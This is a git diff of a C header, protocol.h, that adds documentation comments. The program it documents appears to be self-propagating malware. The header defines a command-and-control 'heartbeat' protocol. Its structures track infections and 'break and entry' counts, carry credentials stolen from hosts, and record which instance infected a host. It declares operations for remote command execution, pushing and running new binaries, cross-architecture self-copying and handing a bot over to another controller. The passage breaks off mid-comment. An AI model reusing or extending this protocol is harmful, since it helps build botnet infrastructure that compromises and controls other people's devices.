diff options
Diffstat (limited to 'src/protocol.h')
-rw-r--r-- | src/protocol.h | 931 |
1 files changed, 710 insertions, 221 deletions
diff --git a/src/protocol.h b/src/protocol.h index 600be8a..99fb198 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -1,3 +1,7 @@ +/** \file + * \brief The protocol header. All the facilities related to over-the-wire data + * formats are defined here. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -27,12 +31,24 @@ #include <stdbool.h> #include <netinet/in.h> - +/** \def PRNE_PROONE_EC_OK PRNE_PROONE_EC_FAIL PRNE_PROONE_EC_LOCK + * \brief The exit codes. + */ +/* Graceful termination + * Note that the child process raises SIGTERM to serve executable upgrade + * request. In such case, the parent process tries exec(), not exit(0). + */ #define PRNE_PROONE_EC_OK 0 +// General fatal failure. Generally the initialisation error. #define PRNE_PROONE_EC_FAIL 1 +/* + * The process could not continue because an instance is already running on the + * system. + */ #define PRNE_PROONE_EC_LOCK 3 +/* Forward declarations */ typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; typedef struct prne_host_cred prne_host_cred_t; @@ -45,511 +61,970 @@ typedef struct prne_htbt_hover prne_htbt_hover_t; typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef struct prne_htbt_rcb prne_htbt_rcb_t; +// The OS codes typedef enum { PRNE_OS_NONE, - PRNE_OS_LINUX, + PRNE_OS_LINUX, // Linux ABI NB_PRNE_OS } prne_os_t; PRNE_LIMIT_ENUM(prne_os_t, NB_PRNE_OS, 0xFE); +// The CPU architecture codes typedef enum { - PRNE_ARCH_NONE, - - PRNE_ARCH_I686, - PRNE_ARCH_X86_64, - PRNE_ARCH_ARMV4T, - PRNE_ARCH_ARMV7, - PRNE_ARCH_AARCH64, - PRNE_ARCH_MIPS, - PRNE_ARCH_MPSL, - PRNE_ARCH_PPC, - PRNE_ARCH_SH4, - PRNE_ARCH_M68K, - PRNE_ARCH_ARC, - PRNE_ARCH_ARCEB, - - NB_PRNE_ARCH + PRNE_ARCH_NONE, // The null value + + PRNE_ARCH_I686, // Intel P6 microarchitecture (Pentium Pro) + PRNE_ARCH_X86_64, // AMD64 Opteron "SledgeHammer" + PRNE_ARCH_ARMV4T, // ARM v4 w/ MMU, Thumb (ARM920T) + PRNE_ARCH_ARMV7, // ARM v7 w/ MMU, Thumb-2, VFPv4 FPU (Cortex-A5) + PRNE_ARCH_AARCH64, // AArch64 (Cortex-A35) + PRNE_ARCH_MIPS, // MIPS 1 (R3000) running in big-endian mode + PRNE_ARCH_MPSL, // MIPS 1 (R3000) running in little-endian mode + PRNE_ARCH_PPC, // PowerPC 1 + PRNE_ARCH_SH4, // Renesas SuperH 4 + PRNE_ARCH_M68K, // Motorola 68040 + PRNE_ARCH_ARC, // DesignWare ARC Processor running in little-endian mode + PRNE_ARCH_ARCEB, // DesignWare ARC Processor running in big-endian mode + + NB_PRNE_ARCH // Meta value: the number of enums } prne_arch_t; PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE); // Instance flags typedef enum { - PRNE_IFLAG_NONE = -1, + PRNE_IFLAG_NONE = -1, // The null value - PRNE_IFLAG_BA, // bin archive - PRNE_IFLAG_INIT_RUN, // initial run - PRNE_IFLAG_WKR_RCN, - PRNE_IFLAG_WKR_RESOLV, - PRNE_IFLAG_WKR_HTBT, + PRNE_IFLAG_BA, // The instance has ba. + // The instance has started for the first time on the host + PRNE_IFLAG_INIT_RUN, + PRNE_IFLAG_WKR_RCN, // The recon worker running. + PRNE_IFLAG_WKR_RESOLV, // The resolv worker running. + PRNE_IFLAG_WKR_HTBT, // The htbt worker running. - NB_PRNE_IFLAG + NB_PRNE_IFLAG // Meta value: the number of enums. } prne_iflag_t; +// The internet protocol version typedef enum { - PRNE_IPV_NONE, - PRNE_IPV_4, - PRNE_IPV_6 + PRNE_IPV_NONE, // The null value + PRNE_IPV_4, // The internet protocol version 4 + PRNE_IPV_6 // The internet protocol version 6 } prne_ipv_t; +// IP header sanity check prne_static_assert( sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4"); +// IP header sanity check prne_static_assert( sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16"); +// The IP address object capable of storing an IP address of IPv4 and IPv6 struct prne_ip_addr { - uint8_t addr[16]; - prne_ipv_t ver; - uint32_t scope_id; + uint8_t addr[16]; // The address storage in the network order + prne_ipv_t ver; // The internet protocol version of the address + uint32_t scope_id; // The scope id used for IPv4 }; +// The IP endpoint object used to describe a UDP or TCP over IP end-point struct prne_net_endpoint { - prne_ip_addr_t addr; - uint16_t port; + prne_ip_addr_t addr; // The IP address object + uint16_t port; // The port number in the host endian }; +// The host credential object struct prne_host_cred { - char *id; - char *pw; + char *id; // The null-terminated username string (dynamically allocated) + char *pw; // The null-terminated password string (dynamically allocated) }; -/* Heartbeat Frame OP Codes -* All messages start with uint16_t 'msg_id', whose most significant bit is -* used to indicate whether the message is a initiation(1) or a response(0). -* 'msg_id' is a randomly generated by either end of connection. The value 0 is -* only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 -* zeroes over the wire). -* 'msg_id' is followed by uint8_t 'op', which holds a `prne_htbt_op_t` value. -* The length of data follows varies depending on 'op'. -*/ +// The heartbeat framing protocol OP codes typedef enum { - PRNE_HTBT_OP_NONE = -1, - - /* NOOP(keep-alive message): followed by nothing - */ - PRNE_HTBT_OP_NOOP, - /* Operation Status - * Followed by: - * uint8_t code: prne_htbt_status_t - * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) - */ - PRNE_HTBT_OP_STATUS, - /* Host Info Operation: followed by nothing - * - * The submissive end's response format: - * uint8_t prog_ver[16] - * uint8_t boot_id[16] - * uint8_t instance_id[16] - * uint8_t org_id[16] - * uint32_t parent_uptime : in seconds - * uint32_t child_uptime : in seconds - * uint64_t bne_cnt : break-and-entry count - * uint64_t infect_cnt : infect count ( <= 'bne_cnt') - * uint32_t crash_cnt - * uint32_t parent_pid - * uint32_t child_pid - * uint8_t host_cred_len - * uint8_t arch : `prne_arch_t` value - * uint8_t os - * uint8_t bf_len - * uint8_t host_cred[host_cred_len] - * uint8_t bf[bf_len] - */ - PRNE_HTBT_OP_HOST_INFO, - /* Hand Over Operation - * Upon reception of message, the submissive end should conclude - * the connection and get further instruction(op) from the host - * described in the message. - * - * Followed by: - * uint8_t addr_4[4] - * uint16_t port_4 - * uint8_t addr_6[16] - * uint16_t port_6 - */ - PRNE_HTBT_OP_HOVER, - /* OP Solicit Operation: followed by nothing - * This op is used by the submissive end to solicit instruction(op) from - * the authoritive end. This op is used when the submissive end has - * connected to the authoritive end after having been instructed by - * the previous authoritive end(PRNE_HTBT_OP_HOVER). - */ - PRNE_HTBT_OP_SOLICIT, - /* Run Command Operation - * TODO - * - * Followed by - * uint5_t rsv - * uint1_t detach - * uint10_t args_len : the length of 'args' - * char args[len] : the series of null-terminated string for exec*() - */ - PRNE_HTBT_OP_RUN_CMD, - /* Binary Upgrade Operation - * TODO - * - * Followed by: - * uint24_t alloc_len - * uint5_t rsv - * uint1_t detach - * uint10_t args_len - * char args[args_len] - */ - PRNE_HTBT_OP_UP_BIN, - /* Run Binary Operation - * TODO - * - * Followed by: - * uint24_t alloc_len - * uint5_t rsv - * uint1_t detach - * uint10_t args_len - * char args[args_len] - */ - PRNE_HTBT_OP_RUN_BIN, - /* STDIO Frame - * TODO - * - * uint1_t err : 0 - stdin/stdout, 1 - stderr - * uint1_t fin - * uint2_t rsv - * uint12_t len - */ - PRNE_HTBT_OP_STDIO, - /* Binary Recombination Operation - * TODO - * - * uint1_t compat : allow fallback to compatible arch - * uint1_t self : os and arch not used if true - * uint6_t rsv - * uint8_t os - * uint8_t arch - */ - PRNE_HTBT_OP_RCB, - - NB_PRNE_HTBT_OP + PRNE_HTBT_OP_NONE = -1, // The null value + + PRNE_HTBT_OP_NOOP, // No operation + PRNE_HTBT_OP_STATUS, // Status operation + PRNE_HTBT_OP_HOST_INFO, // Host info operation + PRNE_HTBT_OP_HOVER, // Hand-over operation + PRNE_HTBT_OP_SOLICIT, // Solicit operation + PRNE_HTBT_OP_RUN_CMD, // Execute operation + PRNE_HTBT_OP_UP_BIN, // Binary upgrade operation + PRNE_HTBT_OP_RUN_BIN, // Execute binary operation + PRNE_HTBT_OP_STDIO, // STDIO frame + PRNE_HTBT_OP_RCB, // Binary recombination operation + + NB_PRNE_HTBT_OP // Meta value: the number of enums } prne_htbt_op_t; PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); +// The heartbeat framing protocol status codes typedef enum { - PRNE_HTBT_STATUS_OK, - PRNE_HTBT_STATUS_UNIMPL, - /* Protocol error detected. Mosts likely a format error. - * An int32_t that follows is not used. - */ - PRNE_HTBT_STATUS_PROTO_ERR, - /* An internal error occurred whilst processing request. - * Followed by int32_t which represents the errno set during the operation. - */ - PRNE_HTBT_STATUS_ERRNO, - PRNE_HTBT_STATUS_SUB, - PRNE_HTBT_STATUS_LIMIT, - - NB_PRNE_HTBT_STATUS + PRNE_HTBT_STATUS_OK, // Operation successful + PRNE_HTBT_STATUS_UNIMPL, // Function not implemented + PRNE_HTBT_STATUS_PROTO_ERR, // Protocol error + PRNE_HTBT_STATUS_ERRNO, // errno set + PRNE_HTBT_STATUS_SUB, // Error returned from module + PRNE_HTBT_STATUS_LIMIT, // Limit reached + + NB_PRNE_HTBT_STATUS // Meta value: the number of enums } prne_htbt_status_code_t; PRNE_LIMIT_ENUM(prne_htbt_status_code_t, NB_PRNE_HTBT_STATUS, 0xFF); +// The heartbeat framing protocol (de)serialisaion function result codes typedef enum { - PRNE_HTBT_SER_RC_OK, + PRNE_HTBT_SER_RC_OK, // Success + // More input data required or more output buffer required PRNE_HTBT_SER_RC_MORE_BUF, - PRNE_HTBT_SER_RC_ERRNO, - PRNE_HTBT_SER_RC_FMT_ERR, + PRNE_HTBT_SER_RC_ERRNO, // errno set + PRNE_HTBT_SER_RC_FMT_ERR, // Input data format error - NB_PRNE_HTBT_SER_RC -} prne_htbt_ser_rc_t; // serialise result code + NB_PRNE_HTBT_SER_RC // Meta value: the number of enums +} prne_htbt_ser_rc_t; +// The heartbeat framing protocol message header frame struct prne_htbt_msg_head { - prne_htbt_op_t op; - uint16_t id; // != 0 (except NOOP) - bool is_rsp; + prne_htbt_op_t op; // The OP code + uint16_t id; // The message id + bool is_rsp; // The response flag }; +// The heartbeat framing protocol status frame struct prne_htbt_status { - prne_htbt_status_code_t code; - int32_t err; + prne_htbt_status_code_t code; // The status code + int32_t err; // The sub-status code }; +// The heartbeat framing protocol hostinfo frame struct prne_htbt_host_info { - uint32_t parent_uptime; - uint32_t child_uptime; - uint64_t bne_cnt; - uint64_t infect_cnt; - uint32_t parent_pid; - uint32_t child_pid; - uint8_t prog_ver[16]; - uint8_t boot_id[16]; - uint8_t instance_id[16]; - uint8_t org_id[16]; - uint8_t *host_cred; - size_t host_cred_len; - size_t bf_len; - uint8_t *bf; - uint32_t crash_cnt; - prne_arch_t arch; - prne_os_t os; + uint32_t parent_uptime; // The parent process uptime in seconds + uint32_t child_uptime; // The child process uptime in seconds + uint64_t bne_cnt; // The "break and entry" count + uint64_t infect_cnt; // The infect count + uint32_t parent_pid; // The parent process id + uint32_t child_pid; // The child process id + uint8_t prog_ver[16]; // The program version uuid + uint8_t boot_id[16]; // The boot uuid + uint8_t instance_id[16]; // The instance uuid + uint8_t org_id[16]; // The instance uuid of the instance infected the host + uint8_t *host_cred; // The host credential data + size_t host_cred_len; // The byte length of the host credential data + size_t bf_len; // The byte length of the diagnostic bit field + uint8_t *bf; // The diagnostic bit field + uint32_t crash_cnt; // The crash count + prne_arch_t arch; // The CPU architecture code of the host + prne_os_t os; // The OS code of the host }; +// The heartbeat framing protocol command frame struct prne_htbt_cmd { - char *mem; - size_t mem_len; - char **args; - uint8_t argc; - bool detach; + char *mem; // The linear memory for storing the argument vector + size_t mem_len; // The byte length of the linear memory + char **args; // The array of pointers to the strings in the linear memory + uint8_t argc; // The number of elements in the array + bool detach; // The detach flag }; +/* + * The heartbeat framing protocol binary meta frame - extension of the command + * frame + */ struct prne_htbt_bin_meta { - size_t alloc_len; - prne_htbt_cmd_t cmd; + size_t alloc_len; // The advisory file preallocation byte length + prne_htbt_cmd_t cmd; // The command frame }; +// The heartbeat framing protocol hand-over frame struct prne_htbt_hover { + // The IPv4 end-point info struct { - uint8_t addr[4]; - uint16_t port; + uint8_t addr[4]; // The address in the network order + uint16_t port; // The port number in the host endian } v4; + // The IPv6 end-point info struct { - uint8_t addr[16]; - uint16_t port; + uint8_t addr[16]; // The address in the network order + uint16_t port; // The port number in the host endian } v6; }; +// The heartbeat framing protocol STDIO frame struct prne_htbt_stdio { - size_t len; - bool err; - bool fin; + size_t len; // The byte length of the data + bool err; // The standard error stream flag + bool fin; // The final data flag }; +// The heartbeat protocol binary RCB frame struct prne_htbt_rcb { - prne_os_t os; - prne_arch_t arch; - bool compat; - bool self; + prne_os_t os; // The OS code + prne_arch_t arch; // The CPU architecture code + bool compat; // The allow-compatible-arch flag + bool self; // The perform-self-copy flag }; +/* + * The standard function pointer type of the heartbeat framing protocol frame + * initialisation functions. + */ typedef void(*prne_htbt_init_ft)(void *ptr); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * deinitialisation functions. + */ typedef void(*prne_htbt_free_ft)(void *ptr); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * equality operator functions. + */ typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * serialisation functions. + */ typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)( uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * deserialisation functions. + */ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( const uint8_t *data, const size_t len, size_t *actual, void *out); +// The heartbeat framing protocol TLS ALP string #define PRNE_HTBT_TLS_ALP "prne-htbt" +// The heartbeat framing protocol minimum valid message id #define PRNE_HTBT_MSG_ID_MIN 1 +// The heartbeat framing protocol message id min-max delta #define PRNE_HTBT_MSG_ID_DELTA (INT16_MAX - 1) +// The heartbeat framing protocol message id reserved for notification #define PRNE_HTBT_MSG_ID_NOTIFY INT16_MAX +// The heartbeat framing protocol standard TCP/IP port #define PRNE_HTBT_PROTO_PORT 64420 -// _POSIX_ARG_MAX equiv +/* + * The heartbeat framing protocol maximum number of arguments in the command + * frame. The _POSIX_ARG_MAX equivalent. + */ #define PRNE_HTBT_ARGS_MAX 255 +/* + * The heartbeat framing protocol maximum byte length of the linear memory of + * the command frame + */ #define PRNE_HTBT_ARG_MEM_MAX 1023 +// The heartbeat framing protocol maximum byte length of STDIO data per frame #define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF +/* The heartbeat framing protocol maximum possible value for the advisory file + * preallocation byte length. This value actually means "the length of the file + * is more than 16,777,215 bytes". + */ #define PRNE_HTBT_BIN_ALLOC_LEN_MAX 0xFFFFFF -/* PRNE_HTBT_PROTO_MIN_BUF -* -* Minimum size of buffer required to implement parsing of stream. This is the -* size required to deserialise PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN. -*/ +/* + * The bare minimum byte size of buffer required to parse the heartbeat framing + * protocol stream. Currently set to the size of buffer required to parse + * PRNE_HTBT_OP_RUN_BIN. + */ #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX) -/* PRNE_HTBT_PROTO_SUB_MIN_BUF -* -* Required write buffer size for submissive end. Set to that of -* PRNE_HTBT_OP_HOST_INFO. -*/ +/* + * The bare minimum byte size of buffer required for a submissive host to send + * the heartbeat framing protocol frame. Currently set to the size of buffer + * required to send PRNE_HTBT_OP_HOST_INFO. + */ #define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 104 + 255 + 255) +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_os_tostr (const prne_os_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_OS_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_os_t prne_os_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_os_inrange (const prne_os_t x); +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_arch_tostr (const prne_arch_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_ARCH_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_arch_t prne_arch_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_arch_inrange (const prne_arch_t x); +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_iflag_tostr (const prne_iflag_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_IFLAG_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_iflag_t prne_iflag_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_iflag_inrange (const prne_iflag_t x); +/** + * \brief The equality operator of + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b); +/** + * \brief Convert the IP endpoint object to \c sockaddr_in + */ void prne_net_ep_tosin4 ( const prne_net_endpoint_t *ep, struct sockaddr_in *out); +/** + * \brief Convert the IP endpoint object to \c sockaddr_in6 + */ void prne_net_ep_tosin6 ( const prne_net_endpoint_t *ep, struct sockaddr_in6 *out); +/** + * \brief (unused) + */ bool prne_net_ep_set_ipv4 ( const char *str, const uint16_t port, prne_net_endpoint_t *out); +/** + * \brief (unused) + */ bool prne_net_ep_set_ipv6 ( const char *str, const uint16_t port, prne_net_endpoint_t *out); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_htbt_op_tostr (const prne_htbt_op_t x); +/** + * \brief Initialise the heartbeat framing protocol message header frame + * \note Initialises the members of \p mh to initial values. Prepares \p mh so + * that it can be freed using \c prne_htbt_free_msg_head() + */ void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * message header frame + * \param mh The pointer to the object that has been initialised using + * \c prne_htbt_init_msg_head() + */ void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh); +/** + * \brief The equality operator of the heartbeat framing protocol message header + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_msg_head ( const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b); +/** + * \brief Initialise the heartbeat framing protocol status frame + * \note Initialises the members of \p s to initial values. Prepares \p s so + * that it can be freed using \c prne_htbt_free_status() + */ void prne_htbt_init_status (prne_htbt_status_t *s); +/** + * \brief Free the resources allocated for the heartbeat framing protocol status + * frame + * \param s The pointer to the object that has been initialised using + * \c prne_htbt_init_status() + */ void prne_htbt_free_status (prne_htbt_status_t *s); +/** + * \brief The equality operator of the heartbeat framing protocol status frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_status ( const prne_htbt_status_t *a, const prne_htbt_status_t *b); +/** + * \brief Initialise the host credential object + * \note Initialises the members of \p hc to initial values. Prepares \p hc so + * that it can be freed using \c prne_free_host_cred() + */ void prne_init_host_cred (prne_host_cred_t *hc); +/** + * \brief Allocate dynamic memory for the members to hold credential data + * \param hc The pointer to the host credential object + * \param id_len The length of the username string + * \param pw_len The length of the password string + * \return true if allocation was successful + * \return false if allocation failed and \c errno is set to \c ENOMEM + * \note The object is modified only when allocation is successful. In case of + * failure, you may continue to use the object without reinitialisation. The + * dynamically allocated members are freed prior to being assigned with new + * memory. + */ bool prne_alloc_host_cred ( prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); +/** + * \brief Free the resources allocated for the host credential object + * \param hc The pointer to the object that has been initialised using + * \c prne_init_host_cred() + */ void prne_free_host_cred (prne_host_cred_t *hc); +/** + * \brief The equality operator of the host credential object + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +/** + * \brief Serialise the host credential object + * \param[out] data The output buffer + * \param len The available byte length of the buffer + * \param[out] actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_FMT_ERR if more than 255 bytes are required for the + * result binary data. + * \retval PRNE_HTBT_SER_RC_MORE_BUF if larger buffer is required. + * \retval PRNE_HTBT_SER_RC_OK if successful. + * \note Note that the byte length of binary data is limited to 255 because the + * format is designed for the heartbeat framing protocol hostinfo frame. + */ prne_htbt_ser_rc_t prne_enc_host_cred ( uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in); +/** + * \brief Deserialise the host credential object from the binary data + * \param data The binary data + * \param len The byte length of the binary data available for reading + * \param out The pointer to the object + * \retval PRNE_HTBT_SER_RC_FMT_ERR on parsing error. + * \retval PRNE_HTBT_SER_RC_ERRNO on \c ENOMEM + * \retval PRNE_HTBT_SER_RC_OK if successful + * \warning The parsed strings must be treated as binary data until proven + * otherwise using \c isprint() equiavalent for your need. The code page and + * character encoding are outside of the scope of the protocol. + */ prne_htbt_ser_rc_t prne_dec_host_cred ( const uint8_t *data, const size_t len, prne_host_cred_t *out); +/** + * \brief Initialise the heartbeat framing protocol hostinfo frame + * \note Initialises the members of \p hi to initial values. Prepares \p hi so + * that it can be freed using \c prne_htbt_free_host_info() + */ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); +/** + * \brief Allocate variable-length members of the heartbeat framing protocol + * hostinfo frame + * \param hi The pointer to the object + * \param cred_len The byte length required for the host credential data + * \param bf_len The byte length required for the bit field data + * \return true if allocation was successful + * \return false on failure and \c errno set to \c ENOMEM + */ bool prne_htbt_alloc_host_info ( prne_htbt_host_info_t *hi, const size_t cred_len, const size_t bf_len); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * hostinfo frame + * \param hi The pointer to the object that has been initialised using + * \c prne_htbt_init_host_info() + */ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); +/** + * \brief The equality operator of the heartbeat framing protocol hostinfo frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_host_info ( const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); +/** + * \brief Initialise the heartbeat framing protocol command frame + * \note Initialises the members of \p cmd to initial values. Prepares \p cmd so + * that it can be freed using \c prne_htbt_free_cmd() + */ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); +/** + * \brief Allocate variable-length members of the heartbeat framing protocol + * command frame + * \param cmd The pointer to the object + * \param argc The number of elements in the argument vector + * \param args_len The pointer to the array containing lengths of string for + * each argument + * \return true if allocation was successful + * \return false on failure and \c errno set to \c ENOMEM + */ bool prne_htbt_alloc_cmd ( prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len); bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * command frame + * \param cmd The pointer to the object that has been initialised using + * \c prne_htbt_init_cmd() + */ void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); +/** + * \brief The equality operator of the heartbeat framing protocol command frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); +/** + * \brief Initialise the heartbeat framing protocol binary meta frame + * \note Initialises the members of \p nb to initial values. Prepares \p nb so + * that it can be freed using \c prne_htbt_free_bin_meta() + */ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); +/** + * \brief Free the resources allocated for the the heartbeat framing protocol + * binary meta frame + * \param nb The pointer to the object that has been initialised using + * \c prne_htbt_init_bin_meta() + */ void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); +/** + * \brief The equality operator of the heartbeat framing protocol binary meta + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_bin_meta ( const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); +/** + * \brief Initialise the heartbeat framing protocol hand-over frame + * \note Initialises the members of \p ho to initial values. Prepares \p ho so + * that it can be freed using \c prne_htbt_free_hover() + */ void prne_htbt_init_hover (prne_htbt_hover_t *ho); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * hand-over frame + * \param ho The pointer to the object that has been initialised using + * \c prne_htbt_init_hover() + */ void prne_htbt_free_hover (prne_htbt_hover_t *ho); +/** + * \brief The equality operator of the heartbeat framing protocol hand-over + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_hover ( const prne_htbt_hover_t *a, const prne_htbt_hover_t *b); +/** + * \brief The deep copy operator of the heartbeat framing protocol hand-over + * frame + * \retval true if the contents of \p src have been successfully copied into + * \p dst + * \retval false otherwise and \c errno set + */ bool prne_htbt_cp_hover ( - const prne_htbt_hover_t *a, - prne_htbt_hover_t *b); + const prne_htbt_hover_t *src, + prne_htbt_hover_t *dst); +/** + * \brief Initialise the heartbeat framing protocol STDIO frame + * \note Initialises the members of \p s to initial values. Prepares \p s so + * that it can be freed using \c prne_htbt_free_stdio() + */ void prne_htbt_init_stdio (prne_htbt_stdio_t *s); +/** + * \brief Free the resources allocated for the heartbeat framing protocol STDIO + * frame + * \param s The pointer to the object that has been initialised using + * \c prne_htbt_init_stdio() + */ void prne_htbt_free_stdio (prne_htbt_stdio_t *s); +/** + * \brief The equality operator of the heartbeat framing protocol STDIO frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_stdio ( const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); +/** + * \brief Initialise the heartbeat protocol binary RCB frame + * \note Initialises the members of \p r to initial values. Prepares \p r so + * that it can be freed using \c prne_htbt_free_rcb() + */ void prne_htbt_init_rcb (prne_htbt_rcb_t *r); +/** + * \brief Free the resources allocated for the heartbeat protocol binary RCB + * frame + * \param r The pointer to the object that has been initialised using + * \c prne_htbt_init_rcb() + */ void prne_htbt_free_rcb (prne_htbt_rcb_t *r); +/** + * \brief The equality operator of the heartbeat protocol binary RCB frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b); +/** + * \brief The serialisation function for the heartbeat framing protocol message + * header frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_msg_head ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol status + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_status ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol hostinfo + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_host_info ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol + * hand-over frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_hover ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol command + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The 